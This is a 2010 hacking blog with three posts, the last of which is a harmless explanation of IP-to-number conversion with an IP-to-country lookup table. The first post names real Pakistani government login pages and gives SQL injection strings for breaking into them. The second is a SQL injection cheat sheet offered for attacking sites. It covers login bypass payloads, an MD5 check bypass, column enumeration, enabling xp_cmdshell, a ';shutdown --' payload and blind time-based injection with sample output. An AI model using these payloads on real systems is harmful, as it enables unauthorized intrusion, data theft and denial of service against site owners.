Saturday, January 30, 2010

SQL Continues

Hacking
Hacking is an ART to bypass the security mechanisam of a system , network and/or server.I m going to give you some really exelent web sites which you can easily hack

http://sic.iuic.net.pk/courseware/index.asp
id:admin'--
pass:admin'--
* this sites relates to multan chief minister's.easily hacked by the help of these passwords which are present below.*
http://www.urbanunit.gov.pk/cmpackage/login.asp
id:administrator
pass:'or' '='
*these two pakistan government sites are vulnerable towards attacksTheir are many more *
even whole NIC server is vulnerable So always hack to learn

*Due to some technical problem and vulnerability patched by the administrators these site are not vulnerable through SQL.
Try these thinks hope you like and these work for you




If you are a hacker then hope you know well how to hack thee webs.

The contents are for education purpose only. Dont play with these links other wise may be you are in jail for life time.
be care full while you are online.

for more details mail me on hakindia007@gmail.com

Monday, January 18, 2010

Sql Injection Attack

The passwords and the contents which i m giving hear is just for the education purpose please don't play with that it is a highly sophisticated matter.

In the world of hackers and hacking this method of exploiting web based services is very common.As the name SQL injection(Structural query language) means definitely we are going to use some common queries of SQL a very strong 4GL language which is generally used by data base programmers to manipulate with data base of a system, server and application software's.hear i will give you some popularly used SQL equerries which helps you to get admin rights in any web servers.

SOME COMMON PASSWORDS

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries



Bypassing second MD5 hash check login screens

If application is first getting the record by user name and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password :
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
  • If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N-- so on
  • Keep going until get an error. Error means you found the number of selected columns.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103-->FALSE> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89-->FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83-->FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-->

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'
  • ProductID = 1;waitfor delay '0:0:10'--
  • ProductID =1);waitfor delay '0:0:10'--
  • ProductID =1';waitfor delay '0:0:10'--
  • ProductID =1');waitfor delay '0:0:10'--
  • ProductID =1));waitfor delay '0:0:10'--
  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10);
    Sleep 10 seconds.

Apart from these all one password which always work for me is ( 'or' '=' ).

I have many web sites more then 100 in number where you can taste these passwords and techniques for the list and method you can mail me on hakindia007@gmail.com

Saturday, January 16, 2010

  1. Converting an IP address to an IP Number

  2. Retrieving the Country Name and Country Code from the IP Number


1. Converting an IP address to an IP Number

IP address (IPv4 / IPv6) is divided into 4 sub-blocks. Each sub-block has a different weight number each powered by 256. IP number is being used in the database because it is efficient to search between a range of number in database.

Beginning IP number and Ending IP Number are calculated based on following formula:

IP Number = 16777216*w + 65536*x + 256*y + z (Formula 1)

where
IP Address = w.x.y.z


For example, if IP address is "202.186.13.4", then its IP Number "3401190660" is based on the Formula 1.

IP Address = 202.186.13.4

So, w = 202, x = 186, y = 13 and z = 4

IP Number = 16777216*202 + 65536*186 + 256*13 + 4
= 3388997632 + 12189696 + 3328 + 4
= 3401190660


To reverse IP number to IP address,

w = int ( IP Number / 16777216 ) % 256
x = int ( IP Number / 65536 ) % 256
y = int ( IP Number / 256 ) % 256
z = int ( IP Number ) % 256


where
% is the mod operator and int is return the integer part of the division.


2. Retrieving the Country Name and Country Code from the IP Number

Search the IP-COUNTRY TABLE to match a unique record that has the IP number fits between From IP Number and To IP Number.

For example, IP Address "202.186.13.4" is equivalent to IP Number "3401190660". It falls in the following range of IP number in the table because it is between the "From IP number" and the "To IP number".

"3401056256","3401400319","MY","MALAYSIA"

From the IP range, the Country Name is Malaysia and Country Code is MY.

IP-COUNTRY TABLE

From IP Number

To IP Number

Country Code

Country Name

3400892416

3400925183

HK

HONG KONG

3400925184

3400933375

TH

THAILAND

3400941568

3400949759

AU

AUSTRALIA

3400957952

3400966143

AU

AUSTRALIA

3400982528

3400990719

HK

HONG KONG

3400990720

3400998911

ID

INDONESIA

3400998912

3401003007

PH

PHILIPPINES

3401007104

3401011199

IN

INDIA

3401023488

3401056255

TH

THAILAND

3401056256

3401400319

MY

MALAYSIA

3401408512

3401416703

HK

HONG KONG

3401416704

3401420799

KR

KOREA, REPU

3401441280

3401449471

PH

PHILIPPINES

3401449472

3401515263

MY

MALAYSIA

3401531392

3401539583

IN

INDIA

3401547776

3401580543

MY

MALAYSIA

3401580544

3402629119

CN

CHINA

3402629120

3404464127

JP

JAPAN

3405774848

3406434303

AU

AUSTRALIA

3406436352

3409969151

AU

AUSTRALIA

3409969152

3410755583

TW

TAIWAN

3410755584

3410780159

AU

AUSTRALIA

3410788352

3410796543

HK

HONG KONG

3410796544

3410800639

LK

SRI LANKA

3410812928

3410821119

AU

AUSTRALIA

3410821120

3410853887

TW

TAIWAN

3410853888

3410862079

HK

HONG KONG

3410870272

3410874367

IN

INDIA

3410878464

3410886655

ID

INDONESIA

3410886656

3410887679

TW

TAIWAN

3410894848

3410898943

HK

HONG KONG

3410903040

3410911231

HK

HONG KONG

3410919424

3410927615

IN

INDIA

3410944000

3410952191

PH

PHILIPPINES

3410952192

3410960383

TW

TAIWAN

3410968576

3410984959

NZ

NEW ZEALAND

3410984960

3411017727

TW

TAIWAN

3411017728

3411018751

HK

HONG KONG

3411034112

3411051519

HK

HONG KONG

3411058688

3411062783

AU

AUSTRALIA

3411066880

3411083775

HK

HONG KONG

3411087360

3411091455

CN

CHINA

3411091456

3411095551

SG

SINGAPORE

3411099648

3411107839

MM

MYANMAR

3411116032

3411124223

IN

INDIA

3411132416

3411136511

PK

PAKISTAN

3411147776

3411149311

HK

HONG KONG

3411156992

3411161087

PH

PHILIPPINES

3411165184

3411173375

MY

MALAYSIA

3411181568

3411189759

JP

JAPAN

3411197952

3411202047

BD

BANGLADESH

3411213312

3411215359

HK

HONG KONG

3411230720

3411247103

HK

HONG KONG

3411247104

3411255295

AU

AUSTRALIA

3411278848

3411296255

HK

HONG KONG

3411312640

3411313151

HK

HONG KONG

3411329024

3411337215

PH

PHILIPPINES

3411337216

3411341311

AU

AUSTRALIA

3411345408

3411411967

HK

HONG KONG

3411435520

3411443711

IN

INDIA

3411443712

3411460095

HK

HONG KONG

3411475456

3411476479

HK

HONG KONG

3411476480

3411509247

AU

AUSTRALIA

3411509248

3411517439

PH

PHILIPPINES

3411525632

3411529727

SG

SINGAPORE

3411533824

3411543039

CN

CHINA

3411558400

3411566591

AU

AUSTRALIA

3411574784

3411582975

IN

INDIA

3411591168

3411595263

HK

HONG KONG

3411599360

3411607551

AU

AUSTRALIA

3411607552

3411608575

CN

CHINA

3411623936

3411632127

AU

AUSTRALIA

3411640320

3411648511

PK

PAKISTAN

3411656704

3411673087

AU

AUSTRALIA

3411673088

3411674111

CN

CHINA

3411689472

3411701759

IN

INDIA

3411722240

3411726335

PH

PHILIPPINES

3411730432

3411738623

HK

HONG KONG

3411738624

3411739647

CN

CHINA

3411755008

3411763199

AU

AUSTRALIA

3411771392

3411779583

HK

HONG KONG

3411795968

3411804159

AU

AUSTRALIA

3411804160

3411805183

CN

CHINA

3411820544

3411832831

SG

SINGAPORE

3411836928

3411845119

MY

MALAYSIA

3411853312

3411857407

IN

INDIA

3411861504

3411869695

AU

AUSTRALIA

3411869696

3411943423

CN

CHINA

3411951616

3411967999

LK

SRI LANKA

3411968000

3411984383

AU

AUSTRALIA

3411984384

3412000767

IN

INDIA

3412000768

3412002815

CN

CHINA

3412017152

3412025343

SG

SINGAPORE

3412033536

3412066303

TW

TAIWAN

3412066304

3412213759

NZ

NEW ZEALAND

3412213760

3412221951

AU

AUSTRALIA

3412230144

3412246527

HK

HONG KONG

3412254720

3412262911

NR

NAURU

3412262912

3412273151

NZ

NEW ZEALAND

3412279296

3412281343

NZ

NEW ZEALAND